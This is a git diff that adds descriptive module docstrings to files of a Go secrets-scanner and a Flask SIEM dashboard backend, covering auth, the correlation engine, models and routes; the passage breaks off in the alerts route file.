b/PROJECTS/intermediate/secrets-scanner/internal/ui/spinner.go @@ -1,5 +1,22 @@ -// ©AngelaMos | 2026 -// spinner.go +/* +©AngelaMos | 2026 +spinner.go + +Braille-frame terminal spinner with goroutine lifecycle management + +Animates a 10-frame Braille spinner at 80ms intervals using a background +goroutine. Start() and Stop() are safe to call concurrently. The cursor is +hidden during animation and restored on Stop(). Used to indicate scan progress +when verbose mode is off. + +Key exports: + Spinner - spinner with Start() and Stop() methods + NewSpinner - creates a Spinner with a display message + +Connects to: + cli/scan.go - creates and controls spinners for scan and HIBP check phases + ui/color.go - uses CyanBold and HiMagenta for frame and message styling +*/ package ui diff --git a/PROJECTS/intermediate/secrets-scanner/internal/ui/symbol.go b/PROJECTS/intermediate/secrets-scanner/internal/ui/symbol.go index f029ac0b..a594511a 100644 --- a/PROJECTS/intermediate/secrets-scanner/internal/ui/symbol.go +++ b/PROJECTS/intermediate/secrets-scanner/internal/ui/symbol.go @@ -1,5 +1,18 @@ -// ©AngelaMos | 2026 -// symbol.go +/* +©AngelaMos | 2026 +symbol.go + +Unicode symbol constants and horizontal rule helper for terminal output + +Defines Arrow, Diamond, Check, Warning, Shield, and other Unicode glyphs used +throughout the terminal reporter and CLI commands. HRule generates a repeated +divider character string of the given width. + +Connects to: + reporter/terminal.go - uses Arrow, Diamond, Warning, Check, Shield + ui/banner.go - uses HRule and HiWhite for divider lines + cli/root.go, cli/scan.go, cli/git.go - use symbols in status output +*/ package ui diff --git a/PROJECTS/intermediate/secrets-scanner/pkg/types/types.go b/PROJECTS/intermediate/secrets-scanner/pkg/types/types.go index 110e4471..fc20d65e 100644 --- a/PROJECTS/intermediate/secrets-scanner/pkg/types/types.go +++ b/PROJECTS/intermediate/secrets-scanner/pkg/types/types.go @@ -1,5 +1,22 @@ -// ©AngelaMos | 2026 -// types.go +/* +©AngelaMos | 2026 +types.go + +Core domain types shared across the entire scanner + +Defines all shared data structures: Rule (pattern + metadata for a detection +rule), Chunk (a slice of file or commit content to scan), Finding (a confirmed +secret with location and severity), and ScanResult (aggregate output of a full +scan run). Also defines the SecretType, Severity, and HIBPStatus enums used +to classify findings. + +Connects to: + rules/registry.go - stores and retrieves Rule values + engine/detector.go - produces Finding values from Chunk inputs + engine/pipeline.go - returns ScanResult after aggregating findings + reporter/*.go - reads ScanResult and Finding for output + hibp/client.go - reads and sets HIBPStatus on findings +*/ package types diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py index 9d80e39e..66eb9368 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/__init__.py @@ -1,6 +1,23 @@ """ ©AngelaMos | 2026 __init__.py + +Flask application factory + +Creates and configures the Flask app by wiring up MongoDB, Redis, +CORS, rate limiting, blueprints, CLI commands, consumer groups, +and the correlation engine daemon. Marks any orphaned scenario +runs as stopped from a previous process. + +Connects to: + extensions.py - init_mongo, init_redis + core/errors.py - register_error_handlers + core/rate_limiting.py - init_limiter + routes/__init__.py - register_blueprints + cli.py - register_cli + core/streaming.py - ensure_consumer_group + models/ScenarioRun.py - marks orphaned runs stopped + engine/correlation.py - start_engine """ from flask import Flask diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py b/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py index 638e0949..1e18841b 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/cli.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 cli.py + +Flask CLI commands for admin account management + +Provides the admin CLI group with a create command that either +creates a new admin user or promotes an existing user by username +or email. Registered on the Flask app during startup via register_cli. + +Key exports: + admin_cli - Click command group + register_cli - attaches admin_cli to the Flask app + +Connects to: + __init__.py - calls register_cli + core/auth.py - calls hash_password + models/User.py - calls find_by_username, create_user, set_role """ import click diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/config.py b/PROJECTS/intermediate/siem-dashboard/backend/app/config.py index f47b8169..515f31ec 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/config.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/config.py @@ -1,6 +1,17 @@ """ ©AngelaMos | 2026 config.py + +Pydantic Settings configuration for the SIEM backend + +All runtime configuration is loaded from environment variables or +a .env file. Covers MongoDB, Redis, JWT, CORS, rate limiting, Redis +Streams, scenario playback, and dashboard aggregation settings. +The module-level settings singleton is imported across the entire app. + +Key exports: + Settings - pydantic-settings class with all config fields + settings - singleton instance used by all other modules """ from pathlib import Path diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py index a58416ac..866fad51 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/admin_ctrl.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 admin_ctrl.py + +Business logic for admin user management + +Handles paginated user listing, single user lookup, role changes +with last-admin guard, and soft and hard delete with self-action +prevention. All operations are admin-only, enforced at the route +layer via the endpoint() decorator. + +Key exports: + list_users, get_user, update_role, deactivate_user, activate_user, delete_user + +Connects to: + models/User.py - CRUD and role operations + core/errors.py - raises ForbiddenError, NotFoundError + schemas/auth.py - uses UserResponse for serialization + routes/admin.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py index ce24c786..83f33c72 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/alert_ctrl.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 alert_ctrl.py + +Business logic for alert operations + +Handles paginated listing with status and severity filters, single +alert retrieval with matched log events, status lifecycle transitions +with optional acknowledgment metadata, and the SSE alert stream. + +Key exports: + list_alerts, get_alert_detail, update_alert_status, stream_alerts + +Connects to: + models/Alert.py - query and status update methods + core/streaming.py - calls sse_generator for the alert stream + config.py - reads ALERT_STREAM_KEY + routes/alerts.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py index 9d500ba7..9529cd78 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/auth_ctrl.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 auth_ctrl.py + +Business logic for authentication operations + +Handles user registration with uniqueness checks, timing-safe login +with Argon2 param rehashing on success, self-service profile updates +confirmed by current password, and the /me identity endpoint. + +Key exports: + register, login, update_profile, me + +Connects to: + core/auth.py - hash_password, verify_password, create_access_token + core/errors.py - raises ConflictError, AuthenticationError, ValidationError + models/User.py - find_by_username, create_user, username_exists + schemas/auth.py - instantiates TokenResponse, UserResponse, UpdateProfileResponse + routes/auth.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py index 816abfbd..2dc62a9a 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/dashboard_ctrl.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 dashboard_ctrl.py + +Business logic for dashboard aggregations + +Provides the overview summary (event and alert counts, open alert +count, severity breakdown), time-bucketed event timeline, per-severity +event counts, and top source IPs. All calls are read-only MongoDB +aggregation queries with no side effects. + +Key exports: + overview, timeline, severity_breakdown, top_sources + +Connects to: + models/Alert.py - alert count and status aggregations + models/LogEvent.py - timeline, severity, and top source queries + routes/dashboard.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py index 0a9441ec..4c75089c 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/log_ctrl.py @@ -1,6 +1,23 @@ """ ©AngelaMos | 2026 log_ctrl.py + +Business logic for log event operations + +Handles paginated listing, single event lookup, log ingestion +(normalize, classify, persist, publish), full-text search, the SSE +log stream, and forensic pivot queries by IP, username, or hostname. + +Key exports: + list_logs, get_log, ingest_log, search_logs, stream_logs, pivot + +Connects to: + models/LogEvent.py - queries and event creation + engine/normalizer.py - calls normalize + engine/severity.py - calls classify + core/streaming.py - calls publish_event, sse_generator + config.py - reads LOG_STREAM_KEY + routes/logs.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py index bf369338..263ee051 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/rule_ctrl.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 rule_ctrl.py + +Business logic for correlation rule management + +CRUD operations plus a test function that replays historical log +events through a rule using an isolated CorrelationState, returning +what alerts would have fired without touching production state or +publishing real alerts. + +Key exports: + list_rules, get_rule, create_rule, update_rule, delete_rule, test_rule + +Connects to: + models/CorrelationRule.py - CRUD operations + models/LogEvent.py - reads historical events for test_rule + engine/correlation.py - imports CorrelationState, evaluate_rule + routes/rules.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py index f86a9b62..b81a65f8 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/controllers/scenario_ctrl.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 scenario_ctrl.py + +Business logic for scenario management + +Thin coordinator between the scenarios API and the runner/playbook +layer. Delegates to ScenarioRunner for start, stop, pause, resume, +and speed changes, and to Playbook.list_available for the catalog. + +Key exports: + list_available, list_running, start_scenario, stop_scenario, + pause_scenario, resume_scenario, set_speed + +Connects to: + models/ScenarioRun.py - get_active_runs, get_by_id + scenarios/playbook.py - calls list_available + scenarios/runner.py - calls ScenarioRunner methods + routes/scenarios.py - called from route handlers """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py index cbebd178..39e075d0 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/auth.py @@ -1,6 +1,27 @@ """ ©AngelaMos | 2026 auth.py + +JWT and password utilities + +Handles Argon2id password hashing and verification, JWT creation +and decoding, and Bearer token extraction from requests. The +timing-safe verify function runs a dummy hash on unknown usernames +to prevent user enumeration through response timing differences. + +Key exports: + hash_password - Argon2id hash of a plaintext password + verify_password - verify and optionally rehash if Argon2 params are stale + verify_password_timing_safe - constant-time wrapper used at login + create_access_token - sign a JWT with user_id as subject + decode_access_token - verify and decode a JWT + extract_bearer_token - pull token from Authorization header or query param + +Connects to: + config.py - reads SECRET_KEY, JWT_ALGORITHM, JWT_EXPIRATION_HOURS + core/decorators/endpoint.py - calls decode_access_token, extract_bearer_token + controllers/auth_ctrl.py - calls hash_password, verify_password, create_access_token + cli.py - calls hash_password """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py index cd741fbf..fc442b1d 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/endpoint.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 endpoint.py + +endpoint() decorator for auth, role enforcement, and error boundary + +Wraps route handlers with JWT extraction and user loading onto flask.g, +optional role checking against g.current_user.role, and a catch-all +exception handler that returns JSON 500 instead of an HTML traceback. + +Key exports: + endpoint - factory returning a decorator; params are auth_required and roles + +Connects to: + core/auth.py - calls decode_access_token, extract_bearer_token + core/errors.py - raises AuthenticationError, ForbiddenError; catches AppError + models/User.py - loads user by ID from JWT sub claim + routes/ - applied to every route handler """ import functools diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py index 55fc5bb4..4aeb877a 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/response.py @@ -1,6 +1,20 @@ """ ©AngelaMos | 2026 response.py + +R() decorator for automatic JSON response serialization + +Wraps route handlers so their return values pass through auto_serialize +before jsonify, removing explicit serialization from every controller. +Handles plain objects, (data, status_code) tuples, and passes through +existing Flask Response objects (such as SSE streams) unchanged. + +Key exports: + R - factory returning a decorator; takes an optional default status code + +Connects to: + core/serialization.py - calls auto_serialize + routes/ - applied to every route handler that returns data """ import functools diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py index 2db757c3..28cf41de 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/decorators/schema.py @@ -1,6 +1,20 @@ """ ©AngelaMos | 2026 schema.py + +S() decorator for Pydantic request validation + +Validates incoming request data against a Pydantic model and stores +the result on flask.g.validated for the controller to read. Supports +auto (method-driven), query, and body source selection. Raises +ValidationError with structured field-level detail on failure. + +Key exports: + S - factory returning a decorator; takes a schema class and source param + +Connects to: + core/errors.py - raises ValidationError on Pydantic failure + routes/ - applied to routes that accept request parameters """ import functools diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py index b3e66a00..8cdb0b4b 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/errors.py @@ -1,6 +1,24 @@ """ ©AngelaMos | 2026 errors.py + +Application exception hierarchy and Flask error handler registration + +Defines AppError and subclasses (NotFoundError, ValidationError, +AuthenticationError, ForbiddenError, ConflictError), each carrying +an HTTP status code. register_error_handlers attaches JSON handlers +for all AppError subclasses plus 404, 405, and 500. + +Key exports: + AppError - base exception with status_code and message + NotFoundError, ValidationError, AuthenticationError, ForbiddenError, ConflictError + register_error_handlers - attaches handlers to the Flask app + +Connects to: + __init__.py - calls register_error_handlers + models/Base.py - raises NotFoundError from get_by_id + core/decorators/endpoint.py - catches AppError, raises auth and forbidden errors + core/decorators/schema.py - raises ValidationError on Pydantic failure """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py index 5f039c73..d1262ef3 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/rate_limiting.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 rate_limiting.py + +Flask-Limiter setup with Redis storage + +Creates the module-level limiter instance keyed by remote address +and backed by Redis. init_limiter attaches it to the Flask app and +registers a JSON 429 handler. The limiter is imported directly by +route files that apply tighter per-endpoint limits. + +Key exports: + limiter - Flask-Limiter instance applied as a decorator in routes + init_limiter - attaches limiter to the app and registers 429 handler + +Connects to: + config.py - reads REDIS_URL, RATELIMIT_* settings + __init__.py - calls init_limiter + routes/auth.py - imports limiter for stricter auth rate limits """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py index 9d280265..d4088f09 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/serialization.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 serialization.py + +MongoEngine-to-JSON serialization utilities + +Converts MongoEngine documents, querysets, and embedded documents +to JSON-safe dicts by recursively handling ObjectId, datetime, +and nested types. auto_serialize is the main dispatch function +called by the R() decorator to convert any controller return value +before passing it to jsonify. + +Key exports: + serialize_document - converts a single MongoEngine document to dict + auto_serialize - dispatches serialization based on object type + +Connects to: + core/decorators/response.py - calls auto_serialize on every response """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py b/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py index 97693909..61df52b6 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/core/streaming.py @@ -1,6 +1,29 @@ """ ©AngelaMos | 2026 streaming.py + +Redis Streams utilities for event publishing and SSE delivery + +Provides publish_event (XADD), ensure_consumer_group (XGROUP CREATE), +read_stream (XREADGROUP), ack_message (XACK), and sse_generator +(XREAD tail as SSE). The correlation engine uses the consumer group +functions; the SSE endpoints use sse_generator to push real-time +updates to the browser. + +Key exports: + publish_event - write an event dict to a Redis Stream + ensure_consumer_group - create a consumer group if absent + read_stream - pull pending messages from a consumer group + ack_message - acknowledge a processed message + sse_generator - generator yielding SSE-formatted events by tailing a stream + +Connects to: + extensions.py - calls get_redis + config.py - reads STREAM_*, SSE_*, CONSUMER_* settings + models/Alert.py - calls publish_event on alert creation + engine/correlation.py - calls read_stream, ensure_consumer_group, ack_message + scenarios/runner.py - calls publish_event after each event + controllers/alert_ctrl.py, controllers/log_ctrl.py - calls sse_generator """ import contextlib diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py index d03431db..a373ea4a 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/correlation.py @@ -1,6 +1,28 @@ """ ©AngelaMos | 2026 correlation.py + +Rule evaluation logic and correlation engine daemon + +Implements three rule evaluators (threshold, sequence, aggregation) +and a thread-safe sliding window state store. CorrelationEngine runs +as a daemon thread, consuming log events from the Redis Stream via +consumer group, evaluating all enabled rules, and calling +Alert.create_from_rule when a rule fires. + +Key exports: + CorrelationEngine - daemon thread that runs the correlation loop + CorrelationState - in-memory sliding window and cooldown tracker + evaluate_rule - evaluates one rule against one event, returns result or None + start_engine, stop_engine - singleton lifecycle functions + +Connects to: + config.py - reads CORRELATION_* and STREAM settings + core/streaming.py - calls read_stream, ensure_consumer_group, ack_message + models/Alert.py - calls Alert.create_from_rule on rule fire + models/CorrelationRule.py - calls get_enabled_rules, uses RuleType + controllers/rule_ctrl.py - imports CorrelationState, evaluate_rule for testing + __init__.py - calls start_engine """ import time diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py index 184bf0e8..e8b07bea 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/normalizer.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 normalizer.py + +Log event normalization by source type + +Provides a registry of per-source-type normalizers (firewall, IDS, +auth, endpoint, DNS, proxy, generic) registered via a decorator. +normalize extracts common fields then merges source-specific fields +into a normalized dict before the event is persisted. + +Key exports: + normalize - dispatches to the correct normalizer and returns enriched data + +Connects to: + models/LogEvent.py - imports SourceType for the registry + controllers/log_ctrl.py - calls normalize before persisting an event + scenarios/runner.py - calls normalize for each playbook event """ from datetime import datetime, UTC diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py index 28013108..32ddeba8 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/engine/severity.py @@ -1,6 +1,21 @@ """ ©AngelaMos | 2026 severity.py + +Severity classification for normalized log events + +Classifies events by first checking a fixed set of high-signal event +types, then pattern-matching against pre-compiled regexes across four +tiers (critical, high, medium, low). Called immediately after +normalization for every ingested and scenario-generated event. + +Key exports: + classify - returns a Severity string for a normalized event dict + +Connects to: + models/LogEvent.py - imports Severity for return values + controllers/log_ctrl.py - calls classify before persisting + scenarios/runner.py - calls classify for each playbook event """ import re diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py b/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py index 752d89e8..a169a24f 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/extensions.py @@ -1,6 +1,22 @@ """ ©AngelaMos | 2026 extensions.py + +MongoDB and Redis connection management + +Initializes and exposes the MongoEngine and Redis clients used +throughout the backend. init_mongo and init_redis are called by +the app factory during startup. get_redis is called anywhere that +needs direct Redis access, raising if the client was never initialized. + +Key exports: + init_mongo - connects MongoEngine to MongoDB + init_redis - creates the module-level Redis client + get_redis - returns the Redis client or raises RuntimeError + +Connects to: + __init__.py - calls init_mongo and init_redis + core/streaming.py - calls get_redis """ from typing import TYPE_CHECKING diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py index 8cd35dd2..292f9bcc 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Alert.py @@ -1,6 +1,25 @@ """ ©AngelaMos | 2026 Alert.py + +MongoEngine model for correlation rule-triggered alerts + +Stores alerts with lifecycle status, severity, MITRE mappings, and +references to the log events that matched. create_from_rule also +publishes to the alert Redis Stream so the SSE endpoint picks it +up in real time. + +Key exports: + Alert - alert document with create_from_rule, update_status, get_with_events + AlertStatus - StrEnum for alert lifecycle states + +Connects to: + models/Base.py - extends BaseDocument + models/LogEvent.py - loads matched events in get_with_events + core/streaming.py - calls publish_event on alert creation + config.py - reads ALERT_STREAM_KEY + engine/correlation.py - calls Alert.create_from_rule on rule fire + controllers/alert_ctrl.py, controllers/dashboard_ctrl.py - query methods """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py index e4489ebe..012fb52c 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/Base.py @@ -1,6 +1,20 @@ """ ©AngelaMos | 2026 Base.py + +Abstract MongoEngine document with timestamps and shared query helpers + +All MongoEngine models extend BaseDocument to get created_at and +updated_at timestamps with auto-refresh on save, plus get_by_id, +get_or_none, and paginate class methods used across every controller. + +Key exports: + BaseDocument - abstract base class for all MongoEngine documents + +Connects to: + config.py - reads DEFAULT_PAGE_SIZE + core/errors.py - raises NotFoundError from get_by_id + Alert.py, CorrelationRule.py, LogEvent.py, ScenarioRun.py, User.py - all extend BaseDocument """ from typing import Any, Self diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py index ce23b458..e73282a8 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/CorrelationRule.py @@ -1,6 +1,24 @@ """ ©AngelaMos | 2026 CorrelationRule.py + +MongoEngine model for correlation detection rules + +Stores rule definitions including type, conditions dict, severity, +MITRE mappings, and enabled flag. get_enabled_rules is called by +the correlation engine on a TTL-cached basis to avoid per-event +database queries. + +Key exports: + CorrelationRule - rule document with get_enabled_rules class method + RuleType - StrEnum of supported evaluation strategies + +Connects to: + models/Base.py - extends BaseDocument + models/LogEvent.py - imports Severity for field choices + engine/correlation.py - calls get_enabled_rules, uses RuleType + controllers/rule_ctrl.py - CRUD and test operations + schemas/rule.py - imports RuleType """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py index 0907426c..b12b1bcc 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/LogEvent.py @@ -1,6 +1,25 @@ """ ©AngelaMos | 2026 LogEvent.py + +MongoEngine model for ingested log events + +Stores normalized log events from all source types with fields for +network context, severity, MITRE mappings, and scenario linkage. +Provides class methods for search, pivot queries, and MongoDB +aggregation pipelines used by dashboard endpoints. + +Key exports: + LogEvent - main log event document with query and aggregation methods + Severity - StrEnum of severity levels (critical through info) + SourceType - StrEnum of supported log source categories + +Connects to: + models/Base.py - extends BaseDocument + config.py - reads DEFAULT_PAGE_SIZE, TIMELINE_*, TOP_SOURCES_LIMIT + controllers/log_ctrl.py, controllers/dashboard_ctrl.py - query methods + controllers/rule_ctrl.py - reads events for rule testing + engine/correlation.py - event data passed to evaluate_rule """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py index 3158e65e..c7c84538 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/ScenarioRun.py @@ -1,6 +1,23 @@ """ ©AngelaMos | 2026 ScenarioRun.py + +MongoEngine model for tracking scenario playback runs + +Records each scenario execution with status, speed, event count, +and timestamps. Provides lifecycle methods (mark_completed, +mark_stopped, mark_paused, mark_resumed, mark_error) and an atomic +increment_events counter updated from the playback thread. + +Key exports: + ScenarioRun - scenario run document with lifecycle methods + RunStatus - StrEnum of possible run states + +Connects to: + models/Base.py - extends BaseDocument + scenarios/runner.py - calls lifecycle methods during playback + controllers/scenario_ctrl.py - start, stop, pause, resume operations + __init__.py - marks orphaned runs as stopped at startup """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py b/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py index 8e658de4..17327385 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/models/User.py @@ -1,6 +1,26 @@ """ ©AngelaMos | 2026 User.py + +MongoEngine model for SIEM user accounts + +Stores credentials, role, and active status. Provides class methods +for lookups, existence checks, creation, and listing. Instance methods +handle role changes, soft-delete via deactivate/activate, and hard +delete. USERNAME_MIN and USERNAME_MAX are shared with the auth schema. + +Key exports: + User - user document with auth and admin query methods + UserRole - StrEnum for analyst and admin roles + USERNAME_MIN, USERNAME_MAX - length constraints shared with schemas + +Connects to: + models/Base.py - extends BaseDocument + config.py - reads DEFAULT_PAGE_SIZE + core/decorators/endpoint.py - User loaded from JWT sub claim + controllers/auth_ctrl.py, controllers/admin_ctrl.py - CRUD operations + schemas/auth.py - imports USERNAME_MIN, USERNAME_MAX + cli.py - calls create_user, find_by_username, set_role """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py index 9ebee151..044cb3c3 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/__init__.py @@ -1,6 +1,14 @@ """ ©AngelaMos | 2026 __init__.py + +Blueprint registration for the Flask application + +register_blueprints mounts all seven route blueprints under the /v1 +API prefix. Called by the application factory during startup. + +Key exports: + register_blueprints - registers all route blueprints on the Flask app """ from flask import Flask diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py index 0fd28943..de061bd0 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/admin.py @@ -1,6 +1,19 @@ """ ©AngelaMos | 2026 admin.py + +Route handlers for the admin user management API (/v1/admin) + +All endpoints require the admin role, enforced by the endpoint() +decorator. Mounts GET /users, GET /users/, PATCH /users//role, +POST /users//deactivate, POST /users//activate, and +DELETE /users/. + +Connects to: + controllers/admin_ctrl.py - business logic + schemas/admin.py - AdminUpdateRoleRequest, AdminUserListParams + models/User.py - imports UserRole for the ADMIN role constant + routes/__init__.py - admin_bp registered here """ from typing import Any diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py index a942571d..8492df53 100644 --- a/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/routes/alerts.py @@ -1,6 +1,16 @@ """ ©AngelaMos | 2026 alerts.py + +Route handlers for the alerts API (/v1/alerts) + +Mounts GET /, GET /stream (SSE), GET /, and +PATCH //status. + +Connects to: + controllers/alert_ctrl.py 